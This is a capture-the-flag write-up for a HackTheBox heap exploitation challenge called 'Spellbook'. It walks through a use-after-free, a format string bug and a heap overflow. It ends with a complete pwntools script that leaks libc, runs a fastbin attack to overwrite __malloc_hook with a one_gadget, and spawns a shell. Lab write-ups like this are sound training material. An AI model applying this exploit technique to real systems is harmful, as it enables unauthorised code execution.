← Back to Writeups
HTBN/APwn

Spellbook

XESXOR8/23/20267 min read
#pwn#htb#n/a

Spellbook

Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

In this magic school, there are some spellbound books given to young wizards where they can create and store the spells they learn throughout the years. There are some forbidden spells that can cause serious damage to other wizards and are not allowed. Beware what you write inside this book. Have fun, if you are a true wizard after all..

Solution Approach

Core idea: Heap-Based Exploitation. Leak main arena address by freeing a chunk to unsorted bin.

Steps

  1. In this challenge we're given a 64 bit binary, dynamically linked, and not stripped.

BINARY PROTECTIONS

  1. Upon reviewing the main() functions, we found 4 function call that seems to be our interest. Those are add(), delete(), edit(), and show().

  2. Let us review the add() function first.

  3. Based on the code above, everytime we allocate a chunk and it's size, a new chunk with 0x30 sized field is also created. let us prove that by allocate a small size of chunk.

  4. Now let us review the delete() function.

  5. Noticed the __ptr and __ptr->sp is freed but is not set to NULL afterwards. Hence we can still use the chunk later, it's introduce Use After Free vuln.

  6. Remembering at the add() function, we can allocate up to 1000 bytes and there is Use After Free vuln at the delete() function. We can leak main arena libc address by freeing size above a fastbin range, so it shall fell to the unsorted bin. Using UAF, we might could obtain RCE.

  7. Now let us review the show() function.

  8. Nothing interesting here, it just prints all the data we sent before.

  9. BUT, it introduces another vuln. A Format Strings Bug (FSB).

  10. We can use an alternate way to leak libc address, by using this vuln.

  11. Now let us analyze the edit() function.

  12. Found a heap overflow vuln at the second input, remembering the smallest size of chunk we can allocate using malloc is 0x20 sized field. Hence if we allocate above 0x30 sized field and we use edit() function to fill our chunk again but it only accepts 0x30, it triggers heap overflow then and we can overwrite metadata of chunk that are adjacent with it.

  13. Seems we already identified all the vuln, our objective is to do fastbin attack (fastbindup) which lead to RCE.

  14. Let us start by writing the main arena's libc address to the unsorted bin. I allocate 0x200 chunk's size to make sure it outside of the fastbin range so it fell to unsorted bin when freed.

TEMPORARY SCRIPT

from pwn import *
import os
os.system('clear')

exe = './spellbook'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'INFO'

library = './glibc/libc.so.6'
libc = context.binary = ELF(library, checksec=False)

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

def malloc(index: int, input_type: bytes, size: int, data: bytes):
    sh.sendlineafter(b'>> ', b'1')
    sh.sendlineafter(b'entry: ', str(index))
    sh.sendlineafter(b'type: ', input_type)
    sh.sendlineafter(b'power: ', str(size))
    sh.sendlineafter(b': ', data)

def show(index: int):
    sh.sendlineafter(b'>', b'2')
    sh.sendlineafter(b':', f'{index}')

def edit(index: int, input_type: bytes, data: bytes):
    sh.sendlineafter(b'>> ', b'3')
    sh.sendlineafter(b'entry: ', str(index))
    sh.sendlineafter(b'type: ', input_type)
    sh.sendlineafter(b': ', data)

def free(index: int):
    sh.sendlineafter(b'>> ', b'4')
    sh.sendlineafter(b'entry: ', str(index))

sh = start()

malloc(0, b'A' * 8, 0x200, b'A' * 8)
malloc(1, b'B' * 8, 0x68, b'B' * 8) # allocate another small junk to prevent consolidation with the top chunk.

free(0)
show(0)

gdb.attach(sh)

sh.interactive()
  1. Remember that it also freed 0x30 sized chunk to the fastbin.

  2. By showing the data chunk at index 0, we can obtain the libc main arena address.

UNPACK RESULT & LIBC BASE CALCULATION

sh.recvuntil(b':')
sh.recvuntil(b':')

get = unpack(sh.recvline().strip().ljust(8, b'\x00'))
log.success(f'MAIN ARENA --> {hex(get)}')

### Calculating libc base.

libc.address = get - 0x3c4b78
log.success(f'LIBC BASE --> {hex(libc.address)}')
  1. Now let us set up our fastbin attack. We can start by allocate another chunk with 0x68 size field (it's the size that fit the libc.sym.system).

  2. Then free chunk index 2 and 1.

  3. Now let us utilize the heap overflow vuln to overwrite the FD of chunk 2 to __malloc_hook().

  4. But to do this, we need to identify the correct offset, because we need to have 0x7f as the size field (because will be used to drop libc.sym.system or one_gadget).

  5. It's NULL, let us traverse up gain the correct offset.

  6. Found the correct offset at -35.

  7. Anyway there's an alternative way to obtain the correct offset, by substracting the __malloc_hook() with fake fast chunk.

using fake fast chunk

  1. However it's clear that the offset should be -35. let us edit the second chunk and modify the data chunk to __malloc_hook() - 35.

  2. Alternatively, we can check the FD of it's chunk.

  3. The FD is already filled with __malloc_hook() - 35.

  4. However I forgot to change our chunk size at index 1 to other than 0x68 (so it does not interfere with our RCE setup), this time change it to 24, so it fell to 0x20 fastbin and not 0x70.

  5. Now let us allocate 1 junk chunk until we reached chunk __malloc__hook() - 35.

  6. Now this time, after we write __malloc_hook()-35 to the 0x70 bin, we want to overwrite it to system("/bin/sh") using one_gadget.

  7. So then, at the time we want to request malloc, shell is dropped.

  8. AGAIN, we need to identify the correct offset to drop one_gadget.

  9. The simplest way to find the offset is by allocating another chunk with size of 0x68 but just fill 0x60 so it does not segfault, then we inspect the strings inside __malloc__hook().

  10. Great let us send 19 padding + one_gadget for the fourth index chunk.

  11. AGAIN, another issue. We need to find the correct one_gadget address. We can bruteforce it by using one by one, or we can just inspect the stack address. Using the gadget at index 1 shall gave us the shell.

ONE_GADGET

FULL SCRIPT

from pwn import *
import os
os.system('clear')

exe = './spellbook'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'INFO'

library = './glibc/libc.so.6'
libc = context.binary = ELF(library, checksec=False)

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

def malloc(index, input_type, size: int, data: bytes):
    sh.sendlineafter(b'>> ', b'1')
    sh.sendlineafter(b'entry: ', str(index))
    sh.sendlineafter(b'type: ', input_type)
    sh.sendlineafter(b'power: ', str(size))
    sh.sendlineafter(b': ', data)

def show(index):
    sh.sendlineafter(b'>', b'2')
    sh.sendlineafter(b':', f'{index}')

def edit(index, input_type, data: bytes):
    sh.sendlineafter(b'>> ', b'3')
    sh.sendlineafter(b'entry: ', str(index))
    sh.sendlineafter(b'type: ', input_type)
    sh.sendlineafter(b': ', data)

def free(index):
    sh.sendlineafter(b'>> ', b'4')
    sh.sendlineafter(b'entry: ', str(index))
    
def allc():
    sh.sendlineafter(b'>', b'1')
    sh.sendlineafter(b':', b'5')

sh = start()

### Leaking libc address

malloc(0, b'A' * 8, 0x200, b'A' * 8)
malloc(1, b'B' * 8, 24, b'B' * 8) # allocate another junk to prevent consolidation with the top chunk.

free(0)
show(0)

sh.recvuntil(b':')
sh.recvuntil(b':')

get = unpack(sh.recvline().strip().ljust(8, b'\x00'))
log.success(f'MAIN ARENA --> {hex(get)}')

### Calculating libc base.

libc.address = get - 0x3c4b78
log.success(f'LIBC BASE --> {hex(libc.address)}')

### Setup for fastbin attack

malloc(2, b'C' * 8, 0x68, b'C' * 8)
free(2)
free(1)

p = flat([
    libc.sym['__malloc_hook'] - 35
])

edit(2, b'D' * 8, p)
malloc(3, b'X' * 8, 0x68, b'X' * 8)
gadgets = (0x45226, 0x4527a, 0xf03a4, 0xf1247)[1]
one_gadget = libc.address + gadgets
log.success(f'ONE GADGET --> {hex(one_gadget)}') 

p = flat([
    cyclic(19),
    one_gadget
])

### malloc(4, b'Y' * 8, 0x68, cyclic(0x60)) # used to check for offset

malloc(4, b'Y' * 8, 0x68, p)

### __malloc_hook() already overwritten with one_gadget, every malloc usage shall drop a shell.

allc()

### gdb.attach(sh)

sh.interactive()

AT THE REMOTE SERVER

Flag

REDACTED

Lessons Learned

  1. Heap-Based Exploitation.
  2. Leak main arena address by freeing a chunk to unsorted bin.
  3. Identify offset for __malloc_hook().
  4. Identify offset for one_gadget.
  5. Utilizing Heap Overflow for fastbin attack lead to RCE.